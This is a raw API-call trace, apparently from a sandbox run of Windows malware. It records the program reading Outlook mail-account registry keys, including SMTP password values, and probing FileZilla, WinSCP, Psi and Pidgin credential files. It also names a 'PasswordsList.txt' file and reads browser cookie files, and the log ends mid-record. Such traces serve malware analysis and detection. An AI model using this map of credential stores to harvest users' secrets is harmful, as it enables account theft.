NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.213] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="sdfjkdhfgd67srfsghjvxcv", cchWideChar=23, lpMultiByteStr=0x1e7ddb5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdfjkdhfgd67srfsghjvxcv\x1fP", lpUsedDefaultChar=0x0) returned 23 [0163.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.214] LocalFree (hMem=0x1e269cd0) returned 0x0 [0163.214] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f02625c, cbMultiByte=23, lpWideCharStr=0x1e7ddb74, cchWideChar=2047 | out: lpWideCharStr="sdfjkdhfgd67srfsghjvxcvWinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\") returned 23 [0163.214] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="sdjwh@dive.djh", cchWideChar=14, lpMultiByteStr=0x1e7ddb74, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdjwh@dive.djhf", lpUsedDefaultChar=0x0) returned 14 [0163.214] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="sdfjkdhfgd67srfsghjvxcv", cchWideChar=23, lpMultiByteStr=0x1e7ddb70, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdfjkdhfgd67srfsghjvxcv", lpUsedDefaultChar=0x0) returned 23 [0163.214] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="sdjwh@dive.djh", cchWideChar=14, lpMultiByteStr=0x1e7ddb6c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdjwh@dive.djh67srfsghjvxcv", lpUsedDefaultChar=0x0) returned 14 [0163.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dea61, cbMultiByte=1, lpWideCharStr=0x1e7dda38, cchWideChar=2047 | out: lpWideCharStr="0ṽø") returned 1 [0163.215] SysReAllocStringLen (in: pbstr=0x1e7deba0*=0x0, psz="0", len=0x1 | out: pbstr=0x1e7deba0*="0") returned 1 [0163.215] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="POP3://fgerh:0", cchWideChar=14, lpMultiByteStr=0x1e7ddb68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="POP3://fgerh:0.djh67srfsghjvxcv", lpUsedDefaultChar=0x0) returned 14 [0163.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.217] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2c24, cbMultiByte=11, lpWideCharStr=0x1e7ddb6c, cchWideChar=2047 | out: lpWideCharStr="IMAP Server癪捸v67srfsghjvxcvWinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\") returned 11 [0163.218] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x650) returned 0x0 [0163.218] RegQueryValueExW (in: hKey=0x650, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x0, lpData=0x1e7de964*=0x0, lpcbData=0x1e7deb68*=0xfe) returned 0x2 [0163.218] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.218] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=11, lpWideCharStr=0x1e7ddb6c, cchWideChar=2047 | out: lpWideCharStr="SMTP Server癪捸v67srfsghjvxcvWinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\") returned 11 [0163.218] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x654) returned 0x0 [0163.219] RegQueryValueExW (in: hKey=0x654, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x1, lpData="hthr", lpcbData=0x1e7deb68*=0xa) returned 0x0 [0163.219] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.219] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022950, cbMultiByte=4, lpWideCharStr=0x1e7ddb74, cchWideChar=2047 | out: lpWideCharStr="SMTPver癪捸v67srfsghjvxcvWinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\") returned 4 [0163.219] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x658) returned 0x0 [0163.219] RegQueryValueExW (in: hKey=0x658, lpValueName="Email", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x1, lpData="sdjwh@dive.djh", lpcbData=0x1e7deb68*=0x1e) returned 0x0 [0163.220] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.220] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x65c) returned 0x0 [0163.220] RegQueryValueExW (in: hKey=0x65c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x0, lpData=0x1e7de964*=0x0, lpcbData=0x1e7deb68*=0xfe) returned 0x2 [0163.220] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.221] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x660) returned 0x0 [0163.221] RegQueryValueExW (in: hKey=0x660, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x1, lpData="hthr", lpcbData=0x1e7deb68*=0xa) returned 0x0 [0163.221] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.221] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb6c | out: phkResult=0x1e7deb6c*=0x664) returned 0x0 [0163.222] RegQueryValueExW (in: hKey=0x664, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x1e7deb74, lpData=0x1e7deb68, lpcbData=0x1e7deb70*=0x4 | out: lpType=0x1e7deb74*=0x0, lpData=0x1e7deb68*=0x0, lpcbData=0x1e7deb70*=0x4) returned 0x2 [0163.222] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.222] RegQueryValueExW (in: hKey=0xf4, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x1e7dfc5c, lpData=0x1e7dec34, lpcbData=0x1e7dfc58*=0x131 | out: lpType=0x1e7dfc5c*=0x0, lpData=0x1e7dec34*=0x2, lpcbData=0x1e7dfc58*=0x131) returned 0x2 [0163.222] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="sdjwh@dive.djh", cchWideChar=14, lpMultiByteStr=0x1e7ddb74, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdjwh@dive.djhjvxcv", lpUsedDefaultChar=0x0) returned 14 [0163.222] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="sdfjkdhfgd67srfsghjvxcv", cchWideChar=23, lpMultiByteStr=0x1e7ddb70, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdfjkdhfgd67srfsghjvxcv", lpUsedDefaultChar=0x0) returned 23 [0163.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dea61, cbMultiByte=1, lpWideCharStr=0x1e7dda38, cchWideChar=2047 | out: lpWideCharStr="0ṽø") returned 1 [0163.222] SysReAllocStringLen (in: pbstr=0x1e7deba0*="0", psz="0", len=0x1 | out: pbstr=0x1e7deba0*="0") returned 1 [0163.222] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="SMTP://hthr:0", cchWideChar=13, lpMultiByteStr=0x1e7ddb68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SMTP://hthr:0dhfgd67srfsghjvxcv", lpUsedDefaultChar=0x0) returned 13 [0163.222] RegCloseKey (hKey=0xf4) returned 0x0 [0163.222] RegEnumKeyW (in: hKey=0x628, dwIndex=0x2, lpName=0x1e7df434, cchName=0x800 | out: lpName="00000003") returned 0x0 [0163.222] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", phkResult=0x1e7dfc64 | out: phkResult=0x1e7dfc64*=0x310) returned 0x0 [0163.223] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x668) returned 0x0 [0163.223] RegQueryValueExW (in: hKey=0x668, lpValueName="Email", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x0, lpData=0x1e7de964*=0x0, lpcbData=0x1e7deb68*=0xfe) returned 0x2 [0163.223] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.223] RegCloseKey (hKey=0x310) returned 0x0 [0163.223] RegEnumKeyW (in: hKey=0x628, dwIndex=0x3, lpName=0x1e7df434, cchName=0x800 | out: lpName="00000003") returned 0x103 [0163.223] RegCloseKey (hKey=0x628) returned 0x0 [0163.223] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x310) returned 0x0 [0163.224] RegEnumKeyW (in: hKey=0x310, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="00000003") returned 0x103 [0163.224] RegCloseKey (hKey=0x310) returned 0x0 [0163.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022b30, cbMultiByte=37, lpWideCharStr=0x1e7deba8, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\filezilla\\recentservers.xml") returned 37 [0163.227] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\filezilla\\recentservers.xml", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\filezilla\\recentservers.xml") returned 0x3e [0163.227] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\filezilla\\recentservers.xml")) returned 0xffffffff [0163.227] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.227] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\filezilla\\recentservers.xml")) returned 0xffffffff [0163.227] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.227] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022b80, cbMultiByte=16, lpWideCharStr=0x1e7debb0, cchWideChar=2047 | out: lpWideCharStr="recentservers.xml") returned 16 [0163.227] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022b64, cbMultiByte=15, lpWideCharStr=0x1e7debac, cchWideChar=2047 | out: lpWideCharStr="rs>recentservers.xml") returned 15 [0163.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.228] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ba0, cbMultiByte=8, lpWideCharStr=0x1e7debb4, cchWideChar=2047 | out: lpWideCharStr="rs>rs>recentservers.xml") returned 8 [0163.228] SysReAllocStringLen (in: pbstr=0x1e7dfc98*=0x0, psz="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\", len=0x2a | out: pbstr=0x1e7dfc98*="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\") returned 1 [0163.228] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\", phkResult=0x1e7dfc94 | out: phkResult=0x1e7dfc94*=0x0) returned 0x2 [0163.229] RegCloseKey (hKey=0x0) returned 0x6 [0163.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f023298, cbMultiByte=24, lpWideCharStr=0x1e7de9cc, cchWideChar=2047 | out: lpWideCharStr="%Appdata%\\Psi+\\profiles\\") returned 24 [0163.229] ExpandEnvironmentStringsW (in: lpSrc="%Appdata%\\Psi+\\profiles\\", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Psi+\\profiles\\") returned 0x31 [0163.229] SysReAllocStringLen (in: pbstr=0x1e7e2e20*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Psi+\\profiles\\", len=0x30 | out: pbstr=0x1e7e2e20*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Psi+\\profiles\\") returned 1 [0163.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0232c0, cbMultiByte=23, lpWideCharStr=0x1e7de9cc, cchWideChar=2047 | out: lpWideCharStr="%Appdata%\\Psi\\profiles\\\\") returned 23 [0163.229] ExpandEnvironmentStringsW (in: lpSrc="%Appdata%\\Psi\\profiles\\", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Psi\\profiles\\") returned 0x30 [0163.229] SysReAllocStringLen (in: pbstr=0x1e7e2e24*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Psi\\profiles\\", len=0x2f | out: pbstr=0x1e7e2e24*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Psi\\profiles\\") returned 1 [0163.229] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Psi+\\profiles\\\\*.*", lpFindFileData=0x1e7dfa34 | out: lpFindFileData=0x1e7dfa34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.229] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7dfa34 | out: lpFindFileData=0x1e7dfa34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.229] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Psi\\profiles\\\\*.*", lpFindFileData=0x1e7dfa34 | out: lpFindFileData=0x1e7dfa34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.230] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7dfa34 | out: lpFindFileData=0x1e7dfa34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.230] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\.purple\\accounts.xml", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\.purple\\accounts.xml") returned 0x37 [0163.230] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\.purple\\accounts.xml")) returned 0xffffffff [0163.230] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\.purple\\accounts.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.230] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\.purple\\accounts.xml")) returned 0xffffffff [0163.230] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\.purple\\accounts.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.232] CharToOemBuffA (in: lpszSrc="PasswordsList.txt", lpszDst=0x1fcf1c90, cchDstLength=0x11 | out: lpszDst="PasswordsList.txt") returned 1 [0163.232] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1e7e2f2c, Length=0xdf) returned 0x28a6661d [0163.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022728, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="InternetExplorer%\\Psi\\profiles\\\\") returned 16 [0163.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb9f8, cbMultiByte=36, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\Microsoft\\Windows\\Cookies\\") returned 36 [0163.233] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\Windows\\Cookies\\", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 0x3d [0163.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9c0, cchWideChar=2047 | out: lpWideCharStr="Browsers\\CookiesWindows\\Cookies\\") returned 16 [0163.233] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\*.txt", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6a29610, ftCreationTime.dwHighDateTime=0x1d2fb16, ftLastAccessTime.dwLowDateTime=0xc6a29610, ftLastAccessTime.dwHighDateTime=0x1d2fb16, ftLastWriteTime.dwLowDateTime=0xc6a29610, ftLastWriteTime.dwHighDateTime=0x1d2fb16, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@g.live[1].txt", cAlternateFileName="AETADZ~3.TXT")) returned 0x1e258c88 [0163.234] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\aetadzjz@g.live[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@g.live[1].txt")) returned 0x2020 [0163.237] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\\\aetadzjz@g.live[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\aetadzjz@g.live[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.237] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x40 [0163.237] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf2714, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf2714*, lpNumberOfBytesRead=0x1e7df6cc*=0x40, lpOverlapped=0x0) returned 1 [0163.238] CloseHandle (hObject=0xf4) returned 1 [0163.238] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11dfd3d0, ftCreationTime.dwHighDateTime=0x1d2fb18, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, 